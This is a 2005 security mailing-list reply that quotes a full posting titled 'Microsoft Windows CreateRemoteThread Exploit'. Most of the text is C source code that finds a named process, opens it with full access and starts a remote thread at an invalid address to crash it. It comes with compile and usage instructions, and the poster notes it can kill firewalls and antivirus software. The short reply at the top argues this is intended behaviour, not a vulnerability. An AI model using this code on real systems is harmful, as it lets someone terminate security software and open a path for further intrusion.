Re: Microsoft Windows CreateRemoteThread Exploit
It is functioning as designed:
Once you have enough permissions to call OpenProcess on some process,
be it firewall or antivirus, you can do with it whatever you wish, in
Your case create invalid thread.
On 1 Dec 2005 10:01:51 -0000, q7x@xxxxxxxxxxxx <q7x@xxxxxxxxxxxx> wrote:
> Microsoft Windows CreateRemoteThread Exploit
> name : nima Salehi
> email : Q7X@xxxxxxxxxxxx
> web site : www.Ashiyane.com www.Ashiyane.net
> Copyright (c) 2002-2005 Ashiyane Digital Securty Team
> ---------------------------------------------------------------------
> Systems Affected:
> - Windows XP (all SP)
> - Windows 2000 PRO (all SP)
> - Windows 2000 Server (all SP)
> - Windows 2000 AdvServer (all SP)
> - Windows 2003 AdvServer (all SP)
> ---------------------------------------------------------------------
> Description:
> when the one process open with OpenProcess function and use
> CreateRemoteThread(Process,0,0,x,0,0,0) then the process crash.
> an example hackers can use this method for kill firewalls and antiviruses
> sorry for poor english
> ---------------------------------------------------------------------
> Exploit :
>
>
> #include <windows.h>
> #include <tlhelp32.h>
> #include <stdio.h>
>
> BOOL exploit(char* chProcessName)
> {
>
> HANDLE hProcessSnap = NULL;
>
> HANDLE hProcess = NULL;
>
> BOOL bFound = FALSE;
>
> BOOL bRet = FALSE;
>
> PROCESSENTRY32 pe32 = {0};
>
> UINT uExitCode = 0;
>
> DWORD dwExitCode = 0;
>
> LPDWORD lpExitCode = &dwExitCode;
>
>
>
>
>
> hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
>
> if (hProcessSnap == INVALID_HANDLE_VALUE)
> return (FALSE);
>
> pe32.dwSize = sizeof(PROCESSENTRY32);
>
> printf("\n[+] Search For Process ... \n");
>
>
> while(!bFound && Process32Next(hProcessSnap, &pe32))
> {
> if(lstrcmpi(pe32.szExeFile, chProcessName) == 0)
> bFound = TRUE;
>
> }
>
> CloseHandle(hProcessSnap);
>
> if(!bFound){
>
> SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
> FOREGROUND_RED| FOREGROUND_INTENSITY) ;
>
>
> printf("[-] Sorry Process Not Find \n");
>
> return(FALSE);
>
> }
> printf("[+] Process Find \n");
>
> hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
>
>
> if(hProcess == NULL){
>
>
> SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
> FOREGROUND_RED| FOREGROUND_INTENSITY) ;
>
>
> printf("[-] Sorry Write Access Denied for This Process \n");
> printf("[-] Exploit Failed :( \n");
>
> return(FALSE);
> }
>
>
> printf("[+] Write Access Is allowed \n");
>
> printf("[+] Send Exploit To Process ...\n");
>
> CreateRemoteThread(hProcess,0,0,(DWORD (__stdcall *)(void *))100,0,0,0);
>
> printf("[+] Successful :)\n");
>
>
> return(pe32.th32ProcessID);
> }
>
> int main(int argc,char **argv)
> {
> char* chProcess = argv[1];
>
> COORD coordScreen = { 0, 0 };
> DWORD cCharsWritten;
> CONSOLE_SCREEN_BUFFER_INFO csbi;
> DWORD dwConSize;
> HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
>
> GetConsoleScreenBufferInfo(hConsole, &csbi);
> dwConSize = csbi.dwSize.X * csbi.dwSize.Y;
> FillConsoleOutputCharacter(hConsole, TEXT(' '), dwConSize,
> coordScreen, &cCharsWritten);
> GetConsoleScreenBufferInfo(hConsole, &csbi);
> FillConsoleOutputAttribute(hConsole, csbi.wAttributes, dwConSize,
> coordScreen, &cCharsWritten);
> SetConsoleCursorPosition(hConsole, coordScreen);
>
> SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
> FOREGROUND_GREEN| FOREGROUND_INTENSITY) ;
>
>
> if(argc < 2) {
>
>
> printf("\n");
> printf("
> ==========================================================================
> \n");
> printf(" > Microsoft Windows CreateRemoteThread Exploit
> < \n");
> printf(" > BUG Find By Q7X ( Nima Salehi ) Q7X@xxxxxxxxxxxx
> < \n");
>
> printf(" > Exploited By Q7X ( Nima Salehi )
> Q7X@xxxxxxxxxxxx < \n");
> SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
> FOREGROUND_RED | FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
>
>
> printf(" > Compile : cl -o nima.c ( Win32/VC++ )
> < \n");
>
> printf(" > Usage : nima.exe Process
> < \n");
> printf(" > Example : nima.exe explorer.exe
> < \n");
> printf(" > Tested on : Windows XP (SP0 ,SP1 ,SP2) , Windows 2000
> AdvServer (SP4) < \n");
> printf(" > Windows 2000 Server (SP4), Windows 2003 (SP0 ,
> SP1) < \n");
> SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
> FOREGROUND_RED| FOREGROUND_INTENSITY) ;
>
> printf(" > Copyright 2002-2005 By Ashiyane Digital Network
> Security Team < \n");
> printf(" > www.Ashiyane.com ( Free ) www.Ashiyane.net ( Not
> Free ) < \n");
>
> printf(" > Special Tanx To My Best Friend Behrooz_Ice
> < \n");
>
> printf("
> ==========================================================================
> \n");
>
>
> }
> else
>
> exploit(chProcess);
>
>
>
>
>
> SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
> FOREGROUND_RED |FOREGROUND_GREEN|FOREGROUND_BLUE);
>
>
> }
>
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